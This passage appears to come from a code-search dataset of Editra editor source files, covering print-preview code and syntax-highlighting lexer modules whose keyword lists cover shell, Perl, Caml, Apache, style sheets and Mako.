wx.PreviewFrame(preview, self.parent,\n _(\"Print Preview\"))\n dsize = wx.GetDisplaySize()\n pre_frame.SetInitialSize((self.stc.GetSize()[0],\n dsize.GetHeight() - 100))\n pre_frame.Initialize()\n pre_frame.Show()\n else:\n wx.MessageBox(_(\"Failed to create print preview\"),\n _(\"Print Error\"),\n style=wx.ICON_ERROR|wx.OK)\n\n def Print(self):\n \"\"\"Prints the document\n @postcondition: the current document is printed\n\n \"\"\"\n pdd = wx.PrintDialogData(self.print_data)\n printer = wx.Printer(pdd)\n printout = self.CreatePrintout()\n result = printer.Print(self.parent, printout)\n if result:\n dlg_data = printer.GetPrintDialogData()\n self.print_data = wx.PrintData(dlg_data.GetPrintData())\n elif printer.GetLastError() == wx.PRINTER_ERROR:\n wx.MessageBox(_(\"There was an error when printing.\\n\"\n \"Check that your printer is properly connected.\"),\n _(\"Printer Error\"),\n style=wx.ICON_ERROR|wx.OK)\n printout.Destroy()\n\n def SetColourMode(self, mode):\n \"\"\"Sets the color mode that the text is to be rendered with\n @param mode: mode to set the printer to use\n @return: whether mode was set or not\n @rtype: boolean\n\n \"\"\"\n if mode in COLOURMODES:\n self.print_mode = mode\n ret = True\n else:\n ret = False\n return ret\n\n def SetStc(self, stc):\n \"\"\"Set the stc we are printing for\n @param stc: instance of wx.stc.StyledTextCtrl\n @note: MUST be called prior to any other print operations\n\n \"\"\"\n self.stc = stc\n", "id": "9632281", "language": "Python", "matching_score": 0.8728846311569214, "max_stars_count": 11, "path": "Lib/site-packages/wx-2.8-msw-unicode/wx/tools/Editra/src/ed_print.py" }, { "content": "###############################################################################\n# Name: sh.py #\n# Purpose: Define Bourne/Bash/Csh/Korn Shell syntaxes for highlighting and #\n# other features. #\n# Author: <NAME> <<EMAIL>> #\n# Copyright: (c) 2007 <NAME> <<EMAIL>> #\n# License: wxWindows License #\n###############################################################################\n\n\"\"\"\nFILE: sh.py\nAUTHOR: <NAME>\n@summary: Lexer configuration file for Bourne, Bash, Kornshell and\n C-Shell scripts.\n\n\"\"\"\n\n__author__ = \"<NAME> <<EMAIL>>\"\n__svnid__ = \"$Id: _sh.py 63834 2010-04-03 06:04:33Z CJP $\"\n__revision__ = \"$Revision: 63834 $\"\n\n#-----------------------------------------------------------------------------#\n# Imports\nimport wx.stc as stc\n\n# Local Imports\nimport synglob\nimport syndata\n\n#-----------------------------------------------------------------------------#\n\n# Bourne Shell Keywords (bash and kornshell have these too)\nCOMM_KEYWORDS = (\"break eval newgrp return ulimit cd exec pwd shift umask \"\n \"chdir exit read test wait continue kill readonly trap \"\n \"contained elif else then case esac do done for in if fi \"\n \"until while set export unset\")\n\n# Bash/Kornshell extensions (in bash/kornshell but not bourne)\nEXT_KEYWORDS = (\"function alias fg integer printf times autoload functions \"\n \"jobs r true bg getopts let stop type false hash nohup suspend \"\n \"unalias fc history print time whence typeset while select\")\n\n# Bash Only Keywords\nBSH_KEYWORDS = (\"bind disown local popd shopt builtin enable logout pushd \"\n \"source dirs help declare\")\n\n# Bash Shell Commands (statements)\nBCMD_KEYWORDS = (\"chmod chown chroot clear du egrep expr fgrep find gnufind \"\n \"gnugrep grep install less ls mkdir mv reload restart rm \"\n \"rmdir rpm sed su sleep start status sort strip tail touch \"\n \"complete stop echo\")\n\n# Korn Shell Only Keywords\nKSH_KEYWORDS = \"login newgrp\"\n\n# Korn Shell Commands (statements)\nKCMD_KEYWORDS = (\"cat chmod chown chroot clear cp du egrep expr fgrep find \"\n \"grep install killall less ls mkdir mv nice printenv rm rmdir \"\n \"sed sort strip stty su tail touch tput\")\n\n# C-Shell Keywords\nCSH_KEYWORDS = (\"alias cd chdir continue dirs echo break breaksw foreach end \"\n \"eval exec exit glob goto case default history kill login \"\n \"logout nice nohup else endif onintr popd pushd rehash repeat \"\n \"endsw setenv shift source time umask switch unalias unhash \"\n \"unsetenv wait\")\n\n#---- Syntax Style Specs ----#\nSYNTAX_ITEMS = [ (stc.STC_SH_DEFAULT, 'default_style'),\n (stc.STC_SH_BACKTICKS, 'scalar_style'),\n (stc.STC_SH_CHARACTER, 'char_style'),\n (stc.STC_SH_COMMENTLINE, 'comment_style'),\n (stc.STC_SH_ERROR, 'error_style'),\n (stc.STC_SH_HERE_DELIM, 'here_style'),\n (stc.STC_SH_HERE_Q, 'here_style'),\n (stc.STC_SH_IDENTIFIER, 'default_style'),\n (stc.STC_SH_NUMBER, 'number_style'),\n (stc.STC_SH_OPERATOR, 'operator_style'),\n (stc.STC_SH_PARAM, 'scalar_style'),\n (stc.STC_SH_SCALAR, 'scalar_style'),\n (stc.STC_SH_STRING, 'string_style'),\n (stc.STC_SH_WORD, 'keyword_style') ]\n\n#---- Extra Properties ----#\nFOLD = (\"fold\", \"1\")\nFLD_COMMENT = (\"fold.comment\", \"1\")\nFLD_COMPACT = (\"fold.compact\", \"0\")\n\n#------------------------------------------------------------------------------#\n\nclass SyntaxData(syndata.SyntaxDataBase):\n \"\"\"SyntaxData object for various shell scripting languages\"\"\" \n def __init__(self, langid):\n syndata.SyntaxDataBase.__init__(self, langid)\n\n # Setup\n self.SetLexer(stc.STC_LEX_BASH)\n\n def GetKeywords(self):\n \"\"\"Returns Specified Keywords List \"\"\"\n keywords = list()\n keyw_str = [COMM_KEYWORDS]\n if self.LangId == synglob.ID_LANG_CSH:\n keyw_str.append(CSH_KEYWORDS)\n else:\n if self.LangId != synglob.ID_LANG_BOURNE: # TODO ??\n keyw_str.append(EXT_KEYWORDS)\n\n if self.LangId == synglob.ID_LANG_BASH:\n keyw_str.append(BSH_KEYWORDS)\n keyw_str.append(BCMD_KEYWORDS)\n elif self.LangId == synglob.ID_LANG_KSH:\n keyw_str.append(KSH_KEYWORDS)\n keyw_str.append(KCMD_KEYWORDS)\n else:\n pass\n\n keywords.append((0, \" \".join(keyw_str)))\n return keywords\n\n def GetSyntaxSpec(self):\n \"\"\"Syntax Specifications \"\"\"\n return SYNTAX_ITEMS\n\n def GetProperties(self):\n \"\"\"Returns a list of Extra Properties to set \"\"\"\n return [FOLD, FLD_COMMENT, FLD_COMPACT]\n\n def GetCommentPattern(self):\n \"\"\"Returns a list of characters used to comment a block of code \"\"\"\n return [u'#']\n", "id": "7790873", "language": "Python", "matching_score": 5.269281387329102, "max_stars_count": 27, "path": "Lib/site-packages/wx-2.8-msw-unicode/wx/tools/Editra/src/syntax/_sh.py" }, { "content": "###############################################################################\n# Name: perl.py #\n# Purpose: Define Perl syntax for highlighting and other features #\n# Author: <NAME> <<EMAIL>> #\n# Copyright: (c) 2008 <NAME> <<EMAIL>> #\n# License: wxWindows License #\n###############################################################################\n\n\"\"\"\nFILE: perl.py\nAUTHOR: <NAME>\n@summary: Lexer configuration module for Perl.\n\n\"\"\"\n\n__author__ = \"<NAME> <<EMAIL>>\"\n__svnid__ = \"$Id: _perl.py 66108 2010-11-10 21:04:54Z CJP $\"\n__revision__ = \"$Revision: 66108 $\"\n\n#-----------------------------------------------------------------------------#\n# Imports\nimport wx\nimport wx.stc as stc\n\n# Local Imports\nimport synglob\nimport syndata\n\n#-----------------------------------------------------------------------------#\n\n#---- Keyword Specifications ----#\n\n# Perl Keywords\nPERL_KW = (0, \"if elseif unless else switch eq ne gt lt ge le cmp not and or \"\n \"xor while for foreach do until continue defined undef and or \"\n \"not bless ref BEGIN END my local our goto return last next redo \"\n \"chomp chop chr crypt index lc lcfirst length org pack reverse \"\n \"rindex sprintf substr uc ucfirst pos quotemet split study abs \"\n \"atan2 cos exp hex int log oct rand sin sqrt srand spice unshift \"\n \"shift push pop split join reverse grep map sort unpack each \"\n \"exists keys values tie tied untie carp confess croak dbmclose \"\n \"dbmopen die syscall binmode close closedir eof fileno getc \"\n \"lstat print printf readdir readline readpipe rewinddir select \"\n \"stat tell telldir write fcntl flock ioctl open opendir read \"\n \"seek seekdir sysopen sysread sysseek syswrite truncate pack vec \"\n \"chdir chmod chown chroot glob link mkdir readlink rename rmdir \"\n \"symlink umask ulink utime caller dump eval exit wanarray \"\n \"import alarm exec fork getpgrp getppid getpriority kill pipe \"\n \"setpgrp setpriority sleep system times wait waitpid accept \"\n \"bind connect getpeername getsockname getsockopt listen recv \"\n \"send setsockopt shutdown socket socketpair msgctl msgget msgrcv \"\n \"msgsnd semctl semget semop shmctl shmget shmread shmwrite \"\n \"endhostent endnetent endprooent endservent gethostbyaddr \"\n \"gethostbyname gethostent getnetbyaddr getnetbyname getnetent \"\n \"getprotobyname getprotobynumber getprotoent getervbyname time \"\n \"getservbyport getservent sethostent setnetent setprotoent \"\n \"setservent getpwuid getpwnam getpwent setpwent endpwent \"\n \"getgrgid getlogin getgrnam setgrent endgrent gtime localtime \"\n \"times warn formline reset scalar delete prototype lock new \"\n \"NULL __FILE__ __LINE__ __PACKAGE__ __DATA__ __END__ AUTOLOAD \"\n \"BEGIN CORE DESTROY END EQ GE GT INIT LE LT NE CHECK use sub \"\n \"elsif require getgrent \")\n\n#---- Syntax Style Specs ----#\nSYNTAX_ITEMS = [ (stc.STC_PL_DEFAULT, 'default_style'),\n (stc.STC_PL_ARRAY, 'array_style'),\n (stc.STC_PL_BACKTICKS, 'btick_style'),\n (stc.STC_PL_CHARACTER, 'char_style'),\n (stc.STC_PL_COMMENTLINE, 'comment_style'),\n (stc.STC_PL_DATASECTION, 'default_style'), # STYLE ME\n (stc.STC_PL_ERROR, 'error_style'),\n (stc.STC_PL_HASH, 'global_style'),\n (stc.STC_PL_HERE_DELIM, 'here_style'),\n (stc.STC_PL_HERE_Q, 'here_style'),\n (stc.STC_PL_HERE_QQ, 'here_style'),\n (stc.STC_PL_HERE_QX, 'here_style'),\n (stc.STC_PL_IDENTIFIER, 'default_style'),\n (stc.STC_PL_LONGQUOTE, 'default_style'), # STYLE ME\n (stc.STC_PL_NUMBER, 'number_style'),\n (stc.STC_PL_OPERATOR, 'operator_style'),\n (stc.STC_PL_POD, 'comment_style'),\n (stc.STC_PL_PREPROCESSOR, 'pre_style' ),\n (stc.STC_PL_PUNCTUATION, 'default_style'), # STYLE ME\n (stc.STC_PL_REGEX, 'regex_style'),\n (stc.STC_PL_REGSUBST, 'regex_style'),\n (stc.STC_PL_SCALAR, 'scalar_style'),\n (stc.STC_PL_STRING, 'string_style'),\n (stc.STC_PL_STRING_Q, 'string_style'),\n (stc.STC_PL_STRING_QQ, 'string_style'),\n (stc.STC_PL_STRING_QR, 'string_style'),\n (stc.STC_PL_STRING_QW, 'string_style'),\n (stc.STC_PL_STRING_QX, 'string_style'),\n (stc.STC_PL_SYMBOLTABLE, 'default_style'), # STYLE ME\n (stc.STC_PL_WORD, 'keyword_style') ]\n\nif wx.VERSION >= (2, 9, 0, 0, ''):\n SYNTAX_ITEMS.append((stc.STC_PL_FORMAT, 'default_style')) #TODO\n SYNTAX_ITEMS.append((stc.STC_PL_FORMAT_IDENT, 'default_style')) #TODO\n SYNTAX_ITEMS.append((stc.STC_PL_SUB_PROTOTYPE, 'default_style')) #TODO\n\n#---- Extra Properties ----#\nFOLD = (\"fold\", \"1\")\nFLD_COMPACT = (\"fold.compact\", \"1\")\nFLD_COMMENT = (\"fold.comment\", \"1\")\nFLD_POD = (\"fold.perl.pod\", \"1\")\nFLD_PKG = (\"fold.perl.package\", \"1\")\n\n#-----------------------------------------------------------------------------#\n\nclass SyntaxData(syndata.SyntaxDataBase):\n \"\"\"SyntaxData object for Perl\"\"\" \n def __init__(self, langid):\n super(SyntaxData, self).__init__(langid)\n\n # Setup\n self.SetLexer(stc.STC_LEX_PERL)\n\n def GetKeywords(self):\n \"\"\"Returns Specified Keywords List \"\"\"\n return [PERL_KW]\n\n def GetSyntaxSpec(self):\n \"\"\"Syntax Specifications \"\"\"\n return SYNTAX_ITEMS\n\n def GetProperties(self):\n \"\"\"Returns a list of Extra Properties to set \"\"\"\n return [FOLD]\n\n def GetCommentPattern(self):\n \"\"\"Returns a list of characters used to comment a block of code \"\"\"\n return [u'#']\n\n#---- Syntax Modules Internal Functions ----#\ndef KeywordString(option=0):\n \"\"\"Returns the specified Keyword String\n @note: not used by most modules\n\n \"\"\"\n if option == synglob.ID_LANG_PERL:\n return PERL_KW[1]\n else:\n return u''\n\n#---- End Syntax Modules Internal Functions ----#\n\n#-----------------------------------------------------------------------------#\n", "id": "9933575", "language": "Python", "matching_score": 3.6568286418914795, "max_stars_count": 11, "path": "Lib/site-packages/wx-2.8-msw-unicode/wx/tools/Editra/src/syntax/_perl.py" }, { "content": "###############################################################################\n# Name: caml.py #\n# Purpose: Define Caml syntax for highlighting and other features #\n# Author: <NAME> <<EMAIL>> #\n# Copyright: (c) 2008 <NAME> <<EMAIL>> #\n# License: wxWindows License #\n###############################################################################\n\n\"\"\"\nFILE: caml.py\nAUTHOR: <NAME>\n@summary: Lexer configuration module for Caml\n\n\"\"\"\n\n__author__ = \"<NAME> <<EMAIL>>\"\n__svnid__ = \"$Id: _caml.py 66108 2010-11-10 21:04:54Z CJP $\"\n__revision__ = \"$Revision: 66108 $\"\n\n#-----------------------------------------------------------------------------#\n# Imports\nimport wx\nimport wx.stc as stc\n\n# Local Imports\nimport synglob\nimport syndata\n\n#-----------------------------------------------------------------------------#\n\n#---- Keyword Definitions ----#\n# Objective Caml 3 textual keywords\nCAML_KW1 = (0, \"and as assert asr begin class constraint do done downto else \"\n \"end exception external false for fun function functor if in \"\n \"include inherit initializer land lazy let lor lsl lsr lxor \"\n \"match method mod module mutable new object of open or private \"\n \"rec sig struct then to true try type val virtual when while \"\n \"with\")\n\n# Caml optional keywords\nCAML_KW2 = (1, \"option Some None ignore ref lnot succ pred parser\")\n\n# Caml type/library keywords\nCAML_KW3 = (2, \"array bool char float int list string unit\")\n\n#---- End Keyword Definitions ----#\n\n#---- Syntax Style Specs ----#\nSYNTAX_ITEMS = [(stc.STC_CAML_CHAR, 'char_style'),\n (stc.STC_CAML_COMMENT, 'comment_style'),\n (stc.STC_CAML_COMMENT1, 'comment_style'),\n (stc.STC_CAML_COMMENT2, 'comment_style'),\n (stc.STC_CAML_COMMENT3, 'comment_style'),\n (stc.STC_CAML_DEFAULT, 'default_style'),\n (stc.STC_CAML_IDENTIFIER, 'default_style'),\n (stc.STC_CAML_KEYWORD, 'keyword_style'),\n (stc.STC_CAML_KEYWORD2, 'pre_style'),\n (stc.STC_CAML_KEYWORD3, 'keyword2_style'),\n (stc.STC_CAML_LINENUM, 'number_style'),\n (stc.STC_CAML_NUMBER, 'number_style'),\n (stc.STC_CAML_OPERATOR, 'operator_style'),\n (stc.STC_CAML_STRING, 'string_style'),\n (stc.STC_CAML_TAGNAME, 'directive_style')] #STYLE ME\n\nif wx.VERSION >= (2, 9, 0, 0, ''):\n SYNTAX_ITEMS.append((stc.STC_CAML_WHITE, 'default_style')) #TODO\n\n#---- Extra Properties ----#\nFOLD = ('fold', '1')\n\n#-----------------------------------------------------------------------------#\n\nclass SyntaxData(syndata.SyntaxDataBase):\n \"\"\"SyntaxData object for Caml\"\"\" \n def __init__(self, langid):\n super(SyntaxData, self).__init__(langid)\n\n # Setup\n self.SetLexer(stc.STC_LEX_CAML)\n\n def GetKeywords(self):\n \"\"\"Returns Specified Keywords List \"\"\"\n return [CAML_KW1, CAML_KW2, CAML_KW3]\n\n def GetSyntaxSpec(self):\n \"\"\"Syntax Specifications \"\"\"\n return SYNTAX_ITEMS\n\n def GetProperties(self):\n \"\"\"Returns a list of Extra Properties to set \"\"\"\n return [FOLD]\n\n def GetCommentPattern(self):\n \"\"\"Returns a list of characters used to comment a block of code \"\"\"\n return [u'(*', u'*)']\n", "id": "10947402", "language": "Python", "matching_score": 4.465056419372559, "max_stars_count": 11, "path": "Lib/site-packages/wx-2.8-msw-unicode/wx/tools/Editra/src/syntax/_caml.py" }, { "content": "###############################################################################\n# Name: apache.py #\n# Purpose: Define Apache syntax for highlighting and other features #\n# Author: <NAME> <<EMAIL>> #\n# Copyright: (c) 2007 <NAME> <<EMAIL>> #\n# License: wxWindows License #\n###############################################################################\n\n\"\"\"\nFILE: apache.py\nAUTHOR: <NAME>\n@summary: Lexer configuration module for Apache Configuration Files\n\n\"\"\"\n\n__author__ = \"<NAME> <<EMAIL>>\"\n__svnid__ = \"$Id: _apache.py 63834 2010-04-03 06:04:33Z CJP $\"\n__revision__ = \"$Revision: 63834 $\"\n\n#-----------------------------------------------------------------------------#\n# Imports\nimport wx.stc as stc\n\n# Local Imports\nimport synglob\nimport syndata\n\n#-----------------------------------------------------------------------------#\n\n#---- Keyword Definitions ----#\nDIRECTIVES = (0, 'acceptmutex acceptpathinfo accessconfig accessfilename '\n 'action addalt addaltbyencoding addaltbytype addcharset '\n 'adddefaultcharset adddescription addencoding addhandler '\n 'addicon addiconbyencoding addiconbytype addinputfilter '\n 'addlanguage addmodule addmoduleinfo addoutputfilter '\n 'addoutputfilterbytype addtype agentlog alias aliasmatch all '\n 'allow allowconnect allowencodedslashes allowoverride '\n 'anonymous anonymous_authoritative anonymous_logemail '\n 'anonymous_mustgiveemail anonymous_nouserid '\n 'anonymous_verifyemail assignuserid authauthoritative '\n 'authdbauthoritative authdbgroupfile authdbmauthoritative '\n 'authdbmgroupfile authdbmtype authdbmuserfile authdbuserfile '\n 'authdigestalgorithm authdigestdomain authdigestfile '\n 'authdigestgroupfile authdigestnccheck authdigestnonceformat '\n 'authdigestnoncelifetime authdigestqop authdigestshmemsize '\n 'authgroupfile authldapauthoritative authldapbinddn '\n 'authldapbindpassword authldapcharsetconfig '\n 'authldapcomparednonserver authldapdereferencealiases '\n 'authldapenabled authldapfrontpagehack authldapgroupattribute '\n 'authldapgroupattributeisdn authldapremoteuserisdn '\n 'authldapurl authname authtype authuserfile bindaddress '\n 'browsermatch browsermatchnocase bs2000account bufferedlogs '\n 'cachedefaultexpire cachedirlength cachedirlevels '\n 'cachedisable cacheenable cacheexpirycheck cachefile '\n 'cacheforcecompletion cachegcclean cachegcdaily '\n 'cachegcinterval cachegcmemusage cachegcunused '\n 'cacheignorecachecontrol cacheignoreheaders '\n 'cacheignorenolastmod cachelastmodifiedfactor cachemaxexpire '\n 'cachemaxfilesize cacheminfilesize cachenegotiateddocs '\n 'cacheroot cachesize cachetimemargin cgimapextension '\n 'charsetdefault charsetoptions charsetsourceenc checkspelling '\n 'childperuserid clearmodulelist contentdigest cookiedomain '\n 'cookieexpires cookielog cookiename cookiestyle '\n 'cookietracking coredumpdirectory customlog dav '\n 'davdepthinfinity davlockdb davmintimeout defaulticon '\n 'defaultlanguage defaulttype define deflatebuffersize '\n 'deflatecompressionlevel deflatefilternote deflatememlevel '\n 'deflatewindowsize deny directory directoryindex '\n 'directorymatch directoryslash documentroot dumpioinput '\n 'dumpiooutput enableexceptionhook enablemmap enablesendfile '\n 'errordocument errorlog example expiresactive expiresbytype '\n 'expiresdefault extendedstatus extfilterdefine '\n 'extfilteroptions fancyindexing fileetag files filesmatch '\n 'forcelanguagepriority forcetype forensiclog from group '\n 'header headername hostnamelookups identitycheck ifdefine '\n 'ifmodule imapbase imapdefault imapmenu include indexignore '\n 'indexoptions indexorderdefault isapiappendlogtoerrors '\n 'isapiappendlogtoquery isapicachefile isapifakeasync '\n 'isapilognotsupported isapireadaheadbuffer keepalive '\n 'keepalivetimeout languagepriority ldapcacheentries '\n 'ldapcachettl ldapconnectiontimeout ldapopcacheentries '\n 'ldapopcachettl ldapsharedcachefile ldapsharedcachesize '\n 'ldaptrustedca ldaptrustedcatype limit limitexcept '\n 'limitinternalrecursion limitrequestbody limitrequestfields '\n 'limitrequestfieldsize limitrequestline limitxmlrequestbody '\n 'listen listenbacklog loadfile loadmodule location '\n 'locationmatch lockfile logformat loglevel maxclients '\n 'maxkeepaliverequests maxmemfree maxrequestsperchild '\n 'maxrequestsperthread maxspareservers maxsparethreads '\n 'maxthreads maxthreadsperchild mcachemaxobjectcount '\n 'mcachemaxobjectsize mcachemaxstreamingbuffer '\n 'mcacheminobjectsize mcacheremovalalgorithm mcachesize '\n 'metadir metafiles metasuffix mimemagicfile minspareservers '\n 'minsparethreads mmapfile modmimeusepathinfo multiviewsmatch '\n 'namevirtualhost nocache noproxy numservers nwssltrustedcerts '\n 'nwsslupgradeable options order passenv pidfile port '\n 'protocolecho proxy proxybadheader proxyblock proxydomain '\n 'proxyerroroverride proxyiobuffersize proxymatch '\n 'proxymaxforwards proxypass proxypassreverse '\n 'proxypreservehost proxyreceivebuffersize proxyremote '\n 'proxyremotematch proxyrequests proxytimeout proxyvia qsc '\n 'readmename redirect redirectmatch redirectpermanent '\n 'redirecttemp refererignore refererlog removecharset '\n 'removeencoding removehandler removeinputfilter '\n 'removelanguage removeoutputfilter removetype requestheader '\n 'require resourceconfig rewritebase rewritecond rewriteengine '\n 'rewritelock rewritelog rewriteloglevel rewritemap '\n 'rewriteoptions rewriterule rlimitcpu rlimitmem rlimitnproc '\n 'satisfy scoreboardfile script scriptalias scriptaliasmatch '\n 'scriptinterpretersource scriptlog scriptlogbuffer '\n 'scriptloglength scriptsock securelisten sendbuffersize '\n 'serveradmin serveralias serverlimit servername serverpath '\n 'serverroot serversignature servertokens servertype setenv '\n 'setenvif setenvifnocase sethandler setinputfilter '\n 'setoutputfilter singlelisten ssiendtag ssierrormsg '\n 'ssistarttag ssitimeformat ssiundefinedecho '\n 'sslcacertificatefile sslcacertificatepath '\n 'sslcarevocationfile sslcarevocationpath '\n 'sslcertificatechainfile sslcertificatefile '\n 'sslcertificatekeyfile sslciphersuite sslengine sslmutex '\n 'ssloptions sslpassphrasedialog sslprotocol '\n 'sslproxycacertificatefile sslproxycacertificatepath '\n 'sslproxycarevocationfile sslproxycarevocationpath '\n 'sslproxyciphersuite sslproxyengine '\n 'sslproxymachinecertificatefile '\n 'sslproxymachinecertificatepath sslproxyprotocol '\n 'sslproxyverify sslproxyverifydepth sslrandomseed sslrequire '\n 'sslrequiressl sslsessioncache sslsessioncachetimeout '\n 'sslusername sslverifyclient sslverifydepth startservers '\n 'startthreads suexecusergroup threadlimit threadsperchild '\n 'threadstacksize timeout transferlog typesconfig unsetenv '\n 'usecanonicalname user userdir virtualdocumentroot '\n 'virtualdocumentrootip virtualhost virtualscriptalias '\n 'virtualscriptaliasip win32disableacceptex xbithack')\n\nPARAMS = (1, 'on off standalone inetd force-response-1.0 downgrade-1.0 '\n 'nokeepalive indexes includes followsymlinks none x-compress '\n 'x-gzip warn')\n\n#---- End Keyword Definitions ----#\n\n#---- Syntax Style Specs ----#\nSYNTAX_ITEMS = [(stc.STC_CONF_COMMENT, 'comment_style'),\n (stc.STC_CONF_DEFAULT, 'default_style'),\n (stc.STC_CONF_DIRECTIVE, 'keyword_style'),\n (stc.STC_CONF_EXTENSION, 'pre_style'),\n (stc.STC_CONF_IDENTIFIER, 'number_style'),\n (stc.STC_CONF_IP, 'number2_style'),\n (stc.STC_CONF_NUMBER, 'number_style'),\n (stc.STC_CONF_OPERATOR, 'operator_style'),\n (stc.STC_CONF_PARAMETER, 'global_style'),\n (stc.STC_CONF_STRING, 'string_style')]\n\n#---- Extra Properties ----#\n\n#-----------------------------------------------------------------------------#\n\nclass SyntaxData(syndata.SyntaxDataBase):\n \"\"\"SyntaxData object for Apache Conf files\"\"\" \n def __init__(self, langid):\n syndata.SyntaxDataBase.__init__(self, langid)\n\n # Setup\n self.SetLexer(stc.STC_LEX_CONF)\n\n def GetKeywords(self):\n \"\"\"Returns Specified Keywords List \"\"\"\n return [DIRECTIVES, PARAMS]\n\n def GetSyntaxSpec(self):\n \"\"\"Syntax Specifications \"\"\"\n return SYNTAX_ITEMS\n\n def GetCommentPattern(self):\n \"\"\"Returns a list of characters used to comment a block of code \"\"\"\n return [u'#']\n", "id": "12678774", "language": "Python", "matching_score": 3.6056933403015137, "max_stars_count": 27, "path": "Lib/site-packages/wx-2.8-msw-unicode/wx/tools/Editra/src/syntax/_apache.py" }, { "content": "###############################################################################\n# Name: editra_ss.py #\n# Purpose: Define Editra Style Sheet syntax for highlighting and other #\n# features. #\n# Author: <NAME> <<EMAIL>> #\n# Copyright: (c) 2007 <NAME> <<EMAIL>> #\n# License: wxWindows License #\n###############################################################################\n\n\"\"\"\nFILE: editra_ss.py \nAUTHOR: <NAME> \n@summary: Lexer configuration file for Editra Syntax Highlighter Style Sheets.\n\n\"\"\"\n\n__author__ = \"<NAME> <<EMAIL>>\"\n__svnid__ = \"$Id: _editra_ss.py 63834 2010-04-03 06:04:33Z CJP $\"\n__revision__ = \"$Revision: 63834 $\"\n\n#-----------------------------------------------------------------------------#\n# Imports\nimport wx.stc as stc\n\n# Local Imports\nimport synglob\nimport syndata\nfrom _css import AutoIndenter\n\n#-----------------------------------------------------------------------------#\n\n#---- Keyword Specifications ----#\n\n# Editra Style Sheet Keywords\nESS_KEYWORDS = (0, \"fore back face size eol bold italic modifiers\")\n\n#---- Syntax Style Specs ----#\nSYNTAX_ITEMS = [ (stc.STC_CSS_DEFAULT, 'default_style'),\n (stc.STC_CSS_CLASS, 'global_style'),\n (stc.STC_CSS_COMMENT, 'comment_style'),\n (stc.STC_CSS_DIRECTIVE, 'directive_style'),\n (stc.STC_CSS_DOUBLESTRING, 'string_style'),\n (stc.STC_CSS_ID, 'scalar_style'),\n (stc.STC_CSS_IDENTIFIER, 'keyword4_style'),\n (stc.STC_CSS_IDENTIFIER2, 'keyword3_style'),\n (stc.STC_CSS_IMPORTANT, 'error_style'),\n (stc.STC_CSS_OPERATOR, 'operator_style'),\n (stc.STC_CSS_PSEUDOCLASS, 'scalar_style'),\n (stc.STC_CSS_SINGLESTRING, 'string_style'),\n (stc.STC_CSS_TAG, 'keyword_style'),\n (stc.STC_CSS_UNKNOWN_IDENTIFIER, 'unknown_style'),\n (stc.STC_CSS_UNKNOWN_PSEUDOCLASS, 'unknown_style'),\n (stc.STC_CSS_VALUE, 'char_style') ]\n\n#---- Extra Properties ----#\nFOLD = (\"fold\", \"1\")\n#------------------------------------------------------------------------------#\n\nclass SyntaxData(syndata.SyntaxDataBase):\n \"\"\"SyntaxData object for Editra Style Sheets\"\"\" \n def __init__(self, langid):\n syndata.SyntaxDataBase.__init__(self, langid)\n\n # Setup\n self.SetLexer(stc.STC_LEX_CSS)\n self.RegisterFeature(synglob.FEATURE_AUTOINDENT, AutoIndenter)\n\n def GetKeywords(self):\n \"\"\"Returns Specified Keywords List \"\"\"\n return [ESS_KEYWORDS]\n\n def GetSyntaxSpec(self):\n \"\"\"Syntax Specifications \"\"\"\n return SYNTAX_ITEMS\n\n def GetProperties(self):\n \"\"\"Returns a list of Extra Properties to set \"\"\"\n return [FOLD]\n\n def GetCommentPattern(self):\n \"\"\"Returns a list of characters used to comment a block of code \"\"\"\n return [u'/*', '*/']\n", "id": "1189164", "language": "Python", "matching_score": 3.940328598022461, "max_stars_count": 27, "path": "Lib/site-packages/wx-2.8-msw-unicode/wx/tools/Editra/src/syntax/_editra_ss.py" }, { "content": "###############################################################################\n# Name: mako.py #\n# Purpose: Define Mako syntax for highlighting and other features #\n# Author: <NAME> <<EMAIL>> #\n# Copyright: (c) 2007 <NAME> <<EMAIL>> #\n# License: wxWindows License #\n###############################################################################\n\n\"\"\"\nFILE: mako.py\nAUTHOR: <NAME>\n@summary: Lexer configuration module for Mako Templates.\n\n\"\"\"\n\n__author__ = \"<NAME> <<EMAIL>>\"\n__svnid__ = \"$Id: _mako.py 62364 2009-10-11 01:02:12Z CJP $\"\n__revision__ = \"$Revision: 62364 $\"\n\n#-----------------------------------------------------------------------------#\n# Imports\nimport wx.stc as stc\nfrom pygments.token import Token\nfrom pygments.lexers import get_lexer_by_name\n\n# Local Imports\nimport synglob\nimport syndata\n\n#-----------------------------------------------------------------------------#\n# Style Id's\n\nSTC_MAKO_DEFAULT, \\\nSTC_MAKO_COMMENT, \\\nSTC_MAKO_NUMBER, \\\nSTC_MAKO_STRING, \\\nSTC_MAKO_STRINGEOL, \\\nSTC_MAKO_SCALAR, \\\nSTC_MAKO_OPERATOR, \\\nSTC_MAKO_PREPROCESSOR, \\\nSTC_MAKO_ATTRIBUTE, \\\nSTC_MAKO_TAG, \\\nSTC_MAKO_BUILTIN, \\\nSTC_MAKO_KEYWORD = range(12)\n\n#-----------------------------------------------------------------------------#\n\n#---- Keyword Specifications ----#\n\n# Python Keywords\nKEYWORDS = \"include inherit namespace page\"\n\n#---- Syntax Style Specs ----#\nSYNTAX_ITEMS = [ (STC_MAKO_DEFAULT, 'default_style'),\n (STC_MAKO_COMMENT, 'comment_style'),\n (STC_MAKO_NUMBER, 'number_style'),\n (STC_MAKO_STRING, 'string_style'),\n (STC_MAKO_STRINGEOL, 'stringeol_style'),\n (STC_MAKO_SCALAR, 'scalar_style'),\n (STC_MAKO_OPERATOR, 'operator_style'),\n (STC_MAKO_PREPROCESSOR, 'pre_style'),\n (STC_MAKO_ATTRIBUTE, 'keyword2_style'),\n (STC_MAKO_TAG, 'keyword_style'), # Need new tag\n (STC_MAKO_BUILTIN, 'keyword4_style'),\n (STC_MAKO_KEYWORD, 'keyword_style'), ]\n\n#-----------------------------------------------------------------------------#\n\nclass SyntaxData(syndata.SyntaxDataBase):\n \"\"\"SyntaxData object for Mako\"\"\" \n def __init__(self, langid):\n syndata.SyntaxDataBase.__init__(self, langid)\n\n # Setup\n self.SetLexer(stc.STC_LEX_CONTAINER)\n self.RegisterFeature(synglob.FEATURE_STYLETEXT, StyleText)\n\n def GetKeywords(self):\n \"\"\"Returns Specified Keywords List \"\"\"\n return [(1, KEYWORDS)]\n\n def GetSyntaxSpec(self):\n \"\"\"Syntax Specifications \"\"\"\n return SYNTAX_ITEMS\n\n def GetCommentPattern(self):\n \"\"\"Returns a list of characters used to comment a block of code \"\"\"\n return [u\"#\",]\n\n#-----------------------------------------------------------------------------#\n\ndef StyleText(stc, start, end):\n \"\"\"Style 